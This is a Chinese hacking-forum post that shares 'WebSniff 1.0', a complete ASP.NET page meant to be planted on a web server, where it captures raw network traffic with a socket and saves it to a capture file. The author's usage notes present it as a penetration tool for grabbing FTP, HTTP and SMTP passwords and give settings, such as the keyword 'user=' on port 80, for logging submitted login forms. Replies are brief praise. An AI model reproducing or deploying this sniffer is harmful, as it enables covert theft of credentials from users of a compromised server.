查看: 12488|回复: 6

Websniff 1.0

[复制链接]
发表于 2012-5-18 12:45:23 | 显示全部楼层 |阅读模式
本帖最后由 ilx 于 2012-5-18 18:48 编辑
  1. <%@ Page Language="C#" ValidateRequest="false" %>
  2. <%@ Import Namespace="System.Net.Sockets" %>
  3. <%@ Import Namespace="System.Net" %>
  4. <%@ Import Namespace="System.IO" %>
  5. <%@ Import Namespace="System.Collections" %>
  6. <%@ Import Namespace="System.Text" %>
  7. <%@ Import Namespace="System.Net.NetworkInformation" %>
  8. <%@ Import Namespace="System.Threading" %>
  9. <%@ Import Namespace="System.Threading" %>
  10. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  11. <html xmlns="http://www.w3.org/1999/xhtml">
  12. <head runat="server">
  13.     <title>WebSniff 1.0</title>
  14. </head>
  15. <body>

  16.     <script runat="server">
  17.    
  18.         static private Socket mainSocket;                          //The socket which captures all incoming packets
  19.         private static byte[] byteData = new byte[2048];
  20.         private static bool bContinueCapturing = true;            //A flag to check if packets are to be captured or not
  21.         static int stoppackes = 0;
  22.         static int port = 25;
  23.         static string strIP = null;
  24.         static long packets = 0;
  25.         static System.IO.FileStream wfs;
  26.         string logfile;
  27.         static PacketCaptureWriter pktwt;
  28.         static string keyword;
  29.         static DateTime stoptime;
  30.         Thread th;
  31.         static int minisizepacket=0;
  32.         protected void Page_Load(object sender, EventArgs e)
  33.         {
  34.             Session.Timeout = 43200;
  35.          
  36.             if (!IsPostBack)
  37.             {
  38.                 txtlogfile.Text = Server.MapPath("w"+System.DateTime.Now.ToFileTime()+".rar");
  39.                 txtpackets.Text = System.DateTime.Now.ToString();
  40.                 IPHostEntry HosyEntry = Dns.GetHostEntry((Dns.GetHostName()));
  41.                 if (HosyEntry.AddressList.Length > 0)
  42.                 {
  43.                     foreach (IPAddress ip in HosyEntry.AddressList)
  44.                     {
  45.                         ddlist.Items.Add(ip.ToString());
  46.                     }
  47.                 }
  48.             }
  49.             th = (Thread)Session["workthread"];
  50.             if (th != null)
  51.             {
  52.                 this.Lb_msg.Text = System.DateTime.Now.ToString()+"  TreadsState: " + th.ThreadState.ToString() +"  Packets: "+packets.ToString();
  53.             }
  54.             else
  55.             {
  56.                 this.Lb_msg.Text = "Treads Null";
  57.             }
  58.         }

  59.         protected void Refresh_Click(object sender, EventArgs e)
  60.         {

  61.         }

  62.         protected void Stop_Click(object sender, EventArgs e)
  63.         {
  64.             packets = stoppackes;
  65.             stoptime = System.DateTime.Now;
  66.             bContinueCapturing = false;
  67.          
  68.             wfs.Close();
  69.             if (th != null)
  70.             {
  71.                 th.Abort();
  72.             }
  73.             Session.RemoveAll();
  74.         }
  75.         protected void Pagestart()
  76.         {
  77.             strIP = ddlist.SelectedValue;
  78.             port = Int32.Parse(txtport.Text);
  79.             stoptime = Convert.ToDateTime( txtpackets.Text);
  80.             logfile = this.txtlogfile.Text;
  81.             wfs = System.IO.File.Create(logfile);

  82.             pktwt = new PacketCaptureWriter(wfs, LinkLayerType.RawIP);
  83.             keyword = txtkeywords.Text;
  84.             minisizepacket= Int32.Parse(txtMinisize.Text);
  85.             bContinueCapturing = true;
  86.             packets = 0;
  87.             
  88.             Start();
  89.         }
  90.         private static void Start()
  91.         {
  92.             bContinueCapturing = true;
  93.             mainSocket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
  94.             mainSocket.Bind(new IPEndPoint(IPAddress.Parse(strIP), 0));
  95.             mainSocket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, true);
  96.             byte[] byTrue = new byte[4] { 1, 0, 0, 0 };
  97.             byte[] byOut = new byte[4] { 1, 0, 0, 0 };
  98.             mainSocket.IOControl(IOControlCode.ReceiveAll, byTrue, byOut);
  99.             byteData = new byte[2048];
  100.             while (System.DateTime.Now <= stoptime)
  101.             {
  102.                 int size = mainSocket.Receive(byteData);
  103.                 ParseData(byteData, size);
  104.             }
  105.             bContinueCapturing = false;
  106.             wfs.Close();
  107.             mainSocket.Close();
  108.         }
  109.      
  110.         protected void Start_Click(object sender, EventArgs e)
  111.         {

  112.             if (this.txtlogfile.Text == "" || txtpackets.Text.Length < 1 || txtport.Text == "") return;
  113.             th = new Thread(new ThreadStart(Pagestart));
  114.             th.Start();
  115.             Session["workthread"] = th;
  116.             this.Lb_msg.Text = "\r\nStart One Thread...";
  117.         }

  118.         public static ushort Get2Bytes(byte[] ptr, int Index, int Type)
  119.         {
  120.             ushort u = 0;

  121.             if (Type == 0)
  122.             {
  123.                 u = (ushort)ptr[Index++];
  124.                 u *= 256;
  125.                 u += (ushort)ptr[Index++];
  126.             }
  127.             else if (Type == 1)
  128.             {
  129.                 u = (ushort)ptr[++Index];
  130.                 u *= 256; Index--;
  131.                 u += (ushort)ptr[Index++]; Index++;
  132.             }

  133.             return u;
  134.         }


  135.         private static void ParseData(byte[] byteData, int nReceived)
  136.         {
  137.             try
  138.             {
  139.                 byte[] nbyte = new byte[nReceived];
  140.                 Array.Copy(byteData, nbyte, nReceived);


  141.                 int ptype = (int)nbyte[9];

  142.                 if (ptype == 6)
  143.                 {
  144.                   
  145.                     int sport = Get2Bytes(nbyte,  20,0);
  146.                     int dport = Get2Bytes(nbyte,  22,0);
  147.                     if (dport == port || sport == port)
  148.                     {
  149.                         if (nReceived > minisizepacket)
  150.                         {

  151.                             if (keyword != "")
  152.                             {
  153.                                 if (Encoding.Default.GetString(nbyte).IndexOf(keyword) > 0)
  154.                                 {
  155.                                     PacketCapture pkt = new PacketCapture(nbyte, nReceived);
  156.                                     pktwt.Write(pkt);
  157.                                    
  158.                                     packets++;
  159.                                 }

  160.                             }
  161.                             else
  162.                             {
  163.                                 PacketCapture pkt = new PacketCapture(nbyte, nReceived);
  164.                                 pktwt.Write(pkt);
  165.                               
  166.                                 packets++;
  167.                             }

  168.                         }
  169.                     }
  170.                 }
  171.             }
  172.             catch { }

  173.         }
  174.         public struct UnixTime
  175.         {
  176.             public static readonly DateTime MinDateTime = new DateTime(1970, 1, 1, 0, 0, 0);
  177.             public static readonly DateTime MaxDateTime = new DateTime(2038, 1, 19, 3, 14, 7);

  178.             private readonly int _Value;

  179.             public UnixTime(int value)
  180.             {
  181.                 if (value < 0)
  182.                     throw new ArgumentOutOfRangeException("value");
  183.                 _Value = value;
  184.             }

  185.             public int Value
  186.             {
  187.                 get { return _Value; }
  188.             }

  189.             public DateTime ToDateTime()
  190.             {
  191.                 const long START = 621355968000000000; // 1970-1-1 00:00:00
  192.                 return new DateTime(START + (_Value * (long)10000000)).ToLocalTime();
  193.             }

  194.             public static UnixTime FromDateTime(DateTime dateTime)
  195.             {
  196.                 if (dateTime < MinDateTime || dateTime > MaxDateTime)
  197.                     throw new ArgumentOutOfRangeException("dateTime");
  198.                 TimeSpan span = dateTime.Subtract(MinDateTime);
  199.                 return new UnixTime((int)span.TotalSeconds);
  200.             }

  201.             public override string ToString()
  202.             {
  203.                 return ToDateTime().ToString();
  204.             }

  205.         }
  206.         public enum LinkLayerType : uint
  207.         {
  208.             Null = 0,
  209.             Ethernet = 1,
  210.             RawIP = 101,
  211.             User0 = 147,
  212.             User1 = 148,
  213.             User2 = 149,
  214.             User3 = 150,
  215.             User4 = 151,
  216.             User5 = 152,
  217.             User6 = 153,
  218.             User7 = 154,
  219.             User8 = 155,
  220.             User9 = 156,
  221.             User10 = 157,
  222.             User11 = 158,
  223.             User12 = 159,
  224.             User13 = 160,
  225.             User14 = 161,
  226.             User15 = 162,

  227.         }


  228.         public sealed class PacketCaptureWriter
  229.         {
  230.             #region Fields
  231.             private const uint MAGIC = 0xA1B2C3D4;
  232.             private readonly Stream _BaseStream;
  233.             private readonly LinkLayerType _LinkLayerType;
  234.             private readonly int _MaxPacketLength;
  235.             private readonly BinaryWriter m_Writer;
  236.             private bool m_ExistHeader = false;
  237.             private int _TimeZone;
  238.             private int _CaptureTimestamp;

  239.             #endregion

  240.             #region Constructors

  241.             public PacketCaptureWriter(
  242.                 Stream baseStream, LinkLayerType linkLayerType,
  243.                 int maxPacketLength, int captureTimestamp)
  244.             {
  245.                 if (baseStream == null) throw new ArgumentNullException("baseStream");
  246.                 if (maxPacketLength < 0) throw new ArgumentOutOfRangeException("maxPacketLength");
  247.                 if (!baseStream.CanWrite) throw new ArgumentException("Cant'Wirte Stream");
  248.                 _BaseStream = baseStream;
  249.                 _LinkLayerType = linkLayerType;
  250.                 _MaxPacketLength = maxPacketLength;
  251.                 _CaptureTimestamp = captureTimestamp;
  252.                 m_Writer = new BinaryWriter(_BaseStream);
  253.             }


  254.             public PacketCaptureWriter(Stream baseStream, LinkLayerType linkLayerType, int captureTimestamp)
  255.                 : this(baseStream, linkLayerType, 0xFFFF, captureTimestamp)
  256.             {
  257.             }

  258.             public PacketCaptureWriter(Stream baseStream, LinkLayerType linkLayerType)
  259.                 : this(baseStream, linkLayerType, 0xFFFF, UnixTime.FromDateTime(DateTime.Now).Value)
  260.             {
  261.             }

  262.             #endregion

  263.             #region Properties

  264.             public short VersionMajor
  265.             {
  266.                 get { return 2; }
  267.             }

  268.             public short VersionMinjor
  269.             {
  270.                 get { return 4; }
  271.             }


  272.             public int TimeZone
  273.             {
  274.                 get { return _TimeZone; }
  275.                 set { _TimeZone = value; }
  276.             }

  277.   
  278.             public int CaptureTimestamp
  279.             {
  280.                 get { return _CaptureTimestamp; }
  281.                 set { _CaptureTimestamp = value; }
  282.             }


  283.             public Stream BaseStream
  284.             {
  285.                 get { return _BaseStream; }
  286.             }

  287.             public LinkLayerType LinkLaterType
  288.             {
  289.                 get { return _LinkLayerType; }
  290.             }

  291.             public int MaxPacketLength
  292.             {
  293.                 get { return _MaxPacketLength; }
  294.             }

  295.             #endregion


  296.             public void Write(PacketCapture packet)
  297.             {
  298.                 CheckHeader();
  299.                 m_Writer.Write(packet.Timestamp.Value);
  300.                 m_Writer.Write(packet.Millseconds);
  301.                 m_Writer.Write(packet.Packet.Count);
  302.                 m_Writer.Write(packet.RawLength);
  303.                 m_Writer.Write(packet.Packet.Array, packet.Packet.Offset, packet.Packet.Count);
  304.             }


  305.             public void Flush()
  306.             {
  307.                 BaseStream.Flush();
  308.             }

  309.             private void CheckHeader()
  310.             {
  311.                 if (!m_ExistHeader)
  312.                 {
  313.                     m_Writer.Write(MAGIC);
  314.                     m_Writer.Write(VersionMajor);
  315.                     m_Writer.Write(VersionMinjor);
  316.                     m_Writer.Write(TimeZone);
  317.                     m_Writer.Write(CaptureTimestamp);
  318.                     m_Writer.Write(MaxPacketLength);
  319.                     m_Writer.Write((uint)LinkLaterType);
  320.                     m_ExistHeader = true;
  321.                 }
  322.             }

  323.         }

  324.         public sealed class PacketCapture
  325.         {
  326.             private readonly UnixTime _Timestamp;
  327.             private readonly ArraySegment<byte> _Packet;
  328.             private readonly int _RawLength;
  329.             private readonly int _Millseconds;

  330.       
  331.             public PacketCapture(ArraySegment<byte> packet, int rawLength, UnixTime timestamp, int millseconds)
  332.             {
  333.                 if (packet.Count > rawLength)
  334.                     throw new ArgumentException("Length Error", "rawLength");
  335.                 _Packet = packet;
  336.                 _Timestamp = timestamp;
  337.                 _RawLength = rawLength;
  338.                 _Millseconds = millseconds;
  339.             }

  340.             public PacketCapture(ArraySegment<byte> packet, int rawLength, DateTime timestamp)
  341.                 : this(packet, rawLength, UnixTime.FromDateTime(timestamp), 0)
  342.             {
  343.             }

  344.             public PacketCapture(ArraySegment<byte> packet, int rawLength)
  345.                 : this(packet, rawLength, UnixTime.FromDateTime(DateTime.Today), 0)
  346.             {
  347.             }

  348.             public PacketCapture(ArraySegment<byte> packet)
  349.                 : this(packet, packet.Count)
  350.             {
  351.             }
  352.             public PacketCapture(byte[] packetData, int offset, int count, int rawLength, UnixTime timestamp, int millseconds)
  353.                 : this(new ArraySegment<byte>(packetData, offset, count), rawLength, timestamp, millseconds)
  354.             {
  355.             }
  356.             public PacketCapture(byte[] packetData, int offset, int count, int rawLength, DateTime timestamp)
  357.                 : this(new ArraySegment<byte>(packetData, offset, count), rawLength, UnixTime.FromDateTime(timestamp), 0)
  358.             {
  359.             }
  360.             public PacketCapture(byte[] packetData, int rawLength, UnixTime timestamp, int millseconds)
  361.                 : this(new ArraySegment<byte>(packetData), rawLength, timestamp, millseconds)
  362.             {
  363.             }
  364.             public PacketCapture(byte[] packetData, int rawLength, DateTime timestamp)
  365.                 : this(new ArraySegment<byte>(packetData), rawLength, UnixTime.FromDateTime(timestamp), 0)
  366.             {
  367.             }

  368.             public PacketCapture(byte[] packetData, int rawLength)
  369.                 : this(new ArraySegment<byte>(packetData), rawLength, UnixTime.FromDateTime(DateTime.Today), 0)
  370.             {
  371.             }
  372.             public PacketCapture(byte[] packetData)
  373.                 : this(packetData, packetData.Length)
  374.             {
  375.             }

  376.             public ArraySegment<byte> Packet
  377.             {
  378.                 get { return _Packet; }
  379.             }
  380.             public UnixTime Timestamp
  381.             {
  382.                 get { return _Timestamp; }
  383.             }
  384.             public int Millseconds
  385.             {
  386.                 get { return _Millseconds; }
  387.             }

  388.             public int RawLength
  389.             {
  390.                 get { return _RawLength; }
  391.             }

  392.         }
  393.     </script>



  394. <style type="text/css">
  395. <!--
  396. a {
  397.         color: #FF0000         ;text-decoration: none
  398. }
  399. #b
  400. {
  401. color: #336699;
  402. font-size: 10pt;
  403. text-align: right;
  404. }
  405. #tt
  406. {
  407. vertical-align: middle;
  408. font-size: 12pt;
  409. text-align: center;
  410. }

  411. #Ct_2
  412. {
  413. padding-left:30px;
  414. font-size: 10pt;
  415. color: #336699;
  416. vertical-align: middle;
  417. text-align: left;
  418. background-color: aliceblue;
  419. border-width: 1px;
  420. border-style: solid;
  421. border-color: -moz-use-text-color;
  422. padding-bottom:10px;
  423. }
  424. -->
  425. </style>
  426.     <form id="form1" runat="server">
  427.         <div id="tt">  <b> WebSniff 1.0</b><br><br>  </div>
  428.     <div id="Ct_2" >
  429.         <table width="100%" >
  430.           <tr >
  431.                 <td  width="10%"> BindIP: </td>
  432.                 <td ><asp:DropDownList ID="ddlist" runat="server" width=90%></asp:DropDownList></td>
  433.             </tr>
  434.             <tr>
  435.                 <td ">
  436.                     FilterPort:
  437.                 </td>
  438.                 <td>
  439.                     <asp:TextBox ID="txtport" Text="80"  width=90% runat="server"></asp:TextBox>
  440.                 </td>
  441.             </tr>
  442.             <tr>
  443.                 <td >
  444.                     MiniSizeToCapture:
  445.                 </td>
  446.                 <td >
  447.                     <asp:TextBox ID="txtMinisize" Text="0"  width=90% runat="server" ></asp:TextBox>
  448.                 </td>
  449.             </tr>
  450.             <tr>
  451.                 <td>
  452.                     KeyWordsFilter:
  453.                 </td>
  454.                 <td>
  455.                     <asp:TextBox ID="txtkeywords" runat="server"   width=90% Text=""></asp:TextBox>
  456.                 </td>
  457.             </tr>
  458.             <tr>
  459.                 <td >
  460.                     LogFile:
  461.                 </td>
  462.                 <td>
  463.                     <asp:TextBox ID="txtlogfile" runat="server"   width=90% Text="log.log" ></asp:TextBox>
  464.                 </td>
  465.             </tr>
  466.             <tr>
  467.                 <td >
  468.                     Stop At Time
  469.                 </td>
  470.                 <td>
  471.                     <asp:TextBox ID="txtpackets" runat="server"  width=90% Text="300"></asp:TextBox>
  472.                 </td>
  473.             </tr>
  474.                          <tr>
  475.                 <td >
  476.                               Control:
  477.                 </td>
  478.                 <td   width=90% >         <asp:Button ID="Starts" runat="server" OnClick="Start_Click" Text="Start" />
  479.                                           <asp:Button ID="Button1" runat="server" OnClick="Stop_Click" Text="Stop" />
  480.                       <asp:Button ID="Button_ref" runat="server" OnClick="Refresh_Click" Text="Refresh" /><br />
  481.                 </td>
  482.             </tr>
  483.                          <tr>
  484.                 <td  >
  485.                               Status:
  486.                 </td>
  487.                 <td   width=90%><div id="s"><asp:Label ID="Lb_msg" runat="server" Text=""></div></asp:Label>
  488.                 </td>
  489.             </tr>
  490.         </table>
  491.         </div><br><br>
  492.                 <div id=b>Powered by <a href="//www.cncert.net"> C.C.T </a>|Version 1.0
  493.                 </div>
  494.     </form>
  495. </body>
  496. </html>
复制代码
-------------------------------------------------
图片是外链的。。。


Websniff 1.0 是user权限的 rawsocket sniff,可以截取ftp,http,smtp ...等密码,在渗透过程中绝对实用的工具。cncert网站发布的websniff需要 .net 2.0,客户端用firefox,如果用IE会让你错过一个参数设置。

先看下截图
mb6nkgy1.jpg

bindip: 有多个IP的情况下,选择要监听的IP地址。只有一个IP,就不用选了。
filterport: 要监听的端口,只能同时监听一个,该参数匹配源地址或目的地址。
MiniSizeToCapture: 要捕获的数据包大小最小长度,例:设为40 那么只抓长度大于40的数据包。
KeyWordsFilter:要包含的关键字,例:设为"passwd " 在符合上面条件的数据包进一步过滤包含"passwd"的数据包,1.0版本不支持多关键字。
Logfile:捕获的数据包文件存放位置,必须为一个可写目录。
StopAttime:定时停止,格式为给出的格式,必须设置这个参数。

按钮功能 :
启动 启动当前任务,不要重复启动。
停止 停止当前任务。
刷新状态 可以查看当前抓到的数据包数和任务终止时间。

注意:欲下载数据包文件前必须停止,或等待任务终止。最好不要关闭当前页,以便控制本次任务状态。

常用设置方案:
1.FTP 如上图
2.HTTP 表单记录
bindip=IP地址
filterport: 80
MiniSizeToCapture: 0
KeyWordsFilter:user=
Logfile:捕获的数据包文件存放位置,必须为一个可写目录。
StopAttime:定时停止,格式为给出的格式,必须设置这个参数。

停止任务后将数据包文件下载到本地,使用wireshark或记事本查看内容。
cqxm26l9.jpg
关于抓取到的内容:
在有些情况下只能抓取到下行数据,即向服务器提交的数据,对记录FTP,HTTP表单,SMTP 这已足够。
回复

使用道具 举报

发表于 2012-5-22 00:21:36 | 显示全部楼层
很详细,我就喜欢这样发贴的大牛
回复 支持 反对

使用道具 举报

发表于 2012-5-22 10:12:28 | 显示全部楼层
顶起!!!!!!!
回复 支持 反对

使用道具 举报

发表于 2012-5-22 12:07:34 | 显示全部楼层
传说中的嗅探脚本
回复 支持 反对

使用道具 举报

发表于 2012-5-24 00:27:05 | 显示全部楼层

顶起
回复 支持 反对

使用道具 举报

发表于 2012-7-30 21:42:00 | 显示全部楼层
{:soso_e141:}好东西。。。
回复 支持 反对

使用道具 举报

发表于 2015-12-8 10:36:13 | 显示全部楼层
好厉害,虽然我看不懂代码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-10 16:44 , Processed in 0.112856 second(s), 9 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部